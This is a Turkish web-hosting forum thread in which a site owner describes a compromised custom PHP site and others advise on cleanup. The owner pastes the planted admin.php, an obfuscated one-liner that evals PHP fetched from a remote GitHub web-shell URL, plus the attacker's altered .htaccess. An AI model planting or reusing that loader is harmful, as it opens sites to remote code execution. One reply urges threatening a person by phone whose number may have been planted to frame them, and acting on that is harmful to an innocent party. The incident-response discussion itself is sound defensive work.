Galiba Shell Atılmış

hocam bir çok arkadaş wordpress demiş siz inatla özel yazılım demişsiniz ama kimse pek takmamış dediklerinizi.
Öncelikle şunu belirteyim shell sebebini bir çok nedeni olabilir. Bu hosting firmasından kaynaklı olabilir, kullandığınız yazılımda açıklar olabilir, şifreniz ele geçmiş olabilir, pc nize trojen truva atı bulaşmış olabilir, vs vs vs bunun için onlarca neden sayarım.
Bu arada Cloudflare ddos gibi vb. saldırıları önlemek içindir. Shelli vs. engellemez. (Bilenlere duyrulur )
Diğer bir konuda yukarda nedenleri saydım wordpress de 4 4 luk değildir açıkları vardır ama bir site shell yiyince illa wordpress olduğu için yediğini göstermez.
Gelelim hocam size öncelikle geçmiş olsun. Sizden de özür dilerim biraz sert yaptıysam sertim size değil işi bilip de bilmeyenlereydi.

Hocam eğer özel yazılımsa varsa eski bir yedeği host firmanıza diyin tamamen silsin yeniden sıfır bir host sağlasın size. Eğer bir yedek yoksa ftp de tek tek tüm dosyaları kontrol edip tek tek sileceksiniz başka yolu yok. İşin kısacası bu hocam.

***Formlarınızda açık olabilir.
***Bilgisayarınızda yer alan anti virüs PHP içerisindeki açıkları bulamaz dolayısı ile bu eylem zaman kaybıdır.
***Dosyaların yedekten tekrar kurulması gerekir. Yedek bulunmuyorsa tüm dosyalar indirilip tek tek kodları kontrol edilmelidir.
***Ardından açık kapatılmalıdır.

Hocam galiba tahmininiz doğru adam girmiş panelde kendi adını falan yazmış numarasını yazmış çok komik gülsem mi ağlasam mı bilemedim. Şifremi nasıl bulmuş olabilir ki. Bruteforce yapmış olabilir çünkü panel şifrem baya kolaydı.



adam numarasını bile yazmış admin panele şaka gibi



hocam dosya yükleme kısmı sadece admin panelde var ve galiba admin panelimin şifresini bulmuş birisi.

Telefon numarasından adama ulaşın it gibi korksun, mahkemeye vereceğim minimum 3 sene hapis cezası yersin vs deyip korkutun. Bu çaylaklığı yapmışsa muhtemelen 15 16 yaşında birisidir.

aradım açmadı hocam, açarsa güzel şeyler söyleyeceğim

Not : Sitem wordpress değil özel script

Arkadaşlar sabah kalktığımda sitemde http 500 hatası alıyordum index.php yerine default bir wp indexi atılmış. Sonra htaccess dosyam değişti kategorilere ulaşamıyordum. Şimdi dikkat ettim dosyaların içinde ab.php ve admin.php diye 2 dosya daha var.

* bilgisayarımda her zaman antivirüs uygulaması güncel bir şekilde kurulu ve dosyaların hepsini indirip tekrar tarattığımda herhangi bir virüs bulunamadı. Farklı bir yoldan atılmış olabilir mi? Bu aşamada uygulamam gereken adımlar nelerdir?

admin.php içeriği ;

<?=/****/[MENTION=63278]Null[/MENTION]; /********/ /*******/ /********/@eval/****/("?>".file_get_contents/*******/("https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php"));/**/?>

böyle garip bir şey.

önce değiştirilen index;

[COLOR=#607D8B][FONT=Titillium Web, sans-serif]<?php[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]/**[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]// * Front to the WordPress application. This file doesn't do anything, but loads[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]* wp-blog-header.php which does and tells WordPress to load the theme.[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]*[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]* @package WordPress[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]*/[/FONT][/COLOR]

[COLOR=#607D8B][FONT="Titillium Web"]/**[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]* Tells WordPress to load the WordPress theme and output it.[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]*[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]* @var bool[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]*/[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]define( 'WP_USE_THEMES', true );[/FONT][/COLOR]

[COLOR=#607D8B][FONT="Titillium Web"]/** Loads the WordPress Environment and Template */[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]require __DIR__ . '/wp-blog-header.php';[/FONT][/COLOR]

değiştirilen htaccess içeriği ;

[COLOR=#607D8B][FONT="Titillium Web"]<FilesMatch ".(py|exe|php)$">[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]Order allow,deny[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]Deny from all[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]</FilesMatch>[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php)$">[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]Order allow,deny[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]Allow from all[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]</FilesMatch>[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]<IfModule mod_rewrite.c>[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteEngine On[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteBase /[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteRule ^index\.php$ - [L][/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteCond %{REQUEST_FILENAME} !-f[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteCond %{REQUEST_FILENAME} !-d[/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]RewriteRule . /index.php [L][/FONT][/COLOR]
[COLOR=#607D8B][FONT="Titillium Web"]</IfModule>[/FONT][/COLOR]

Orada yazılı Ad, Soyad ve Telefon shell atana ait değildir.

Bu adama gıcığı olan biridir.

Merhaba cNt,

Clamav veya imunify360 ile taratın ve dosyaları tespit edip temizleyin. Orjinal ilk dosyaları yükleyip şifreleri değiştirip sunucuya mod_security kurup katı kurallı modda çalıştırın.

İyi çalışmalar.